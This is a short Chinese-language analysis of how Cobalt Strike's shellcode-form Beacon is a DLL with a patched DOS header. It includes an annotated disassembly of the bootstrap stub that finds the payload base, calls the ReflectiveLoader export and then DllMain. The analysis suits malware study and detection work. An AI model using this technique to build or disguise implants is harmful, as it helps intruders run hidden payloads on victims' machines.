反射式PE加载
CobaltStrike 的 Beacon,实际上是一个 DLL。Shellcode 形式的 Beacon,是补丁后的 DLL 文件。通过巧妙的补丁,Beacon 可以实现像 Shellcode 一般的位置独立。我们分别生成 DLL 与 RAW 格式的载荷,进行对比:
DLL 格式的 Beacon,符合典型的 PE 文件格式。
对于 Shellcode 格式的 Beacon,我们发现其实际上是个补丁后的 DLL 文件,因为其格式符合 PE 格式标准
我们甚至能解析出导出函数 ReflectiveLoader。
那么,补丁了哪些地方呢?我们仔细对比一下这 2 个文件的 DOS 头,我们会发现 Shellcode 格式的 Beacon(右边) 虽然大体上符合 PE 格式标准,但 DOS 头是补丁过的。
对于 PE 文件,因为 DOS 头并非代码区,所以并不该被解析成机器码执行。因此 DLL 文件的 DOS 头如果被强行解释成汇编指令,代码看起来没有什么实际意义。而右图的 DOS 头被补丁成了精心设计的代码,我们来解读一下:
4D 5A pop r10 # PE Magic Bytes,同时与下面的指令共同平衡栈
41 52 push r10 # 平衡栈
55 push rbp # 设置栈帧
48 89 E5 mov rbp, rsp
48 81 EC 20 00 00 00 sub rsp,0x20
48 8D 1D EA FF FF FF lea rbx, [rip-0x16] # 前移0x16字节从而获得Shellcode地址
48 89 DF mov rdi,rbx
48 81 C3 F4 5F 01 00 add rbx, 0x15ff4 # 通过硬编码偏移调用ReflectiveLoader导出函数
FF D3 call rbx
41 B8 F0 B5 A2 56 mov r8d,0x56a2b5f0 # 调用 DllMain函数
68 04 00 00 00 push 4
5A pop rdx
48 89 F9 mov rcx, rdi
FF D0 call rax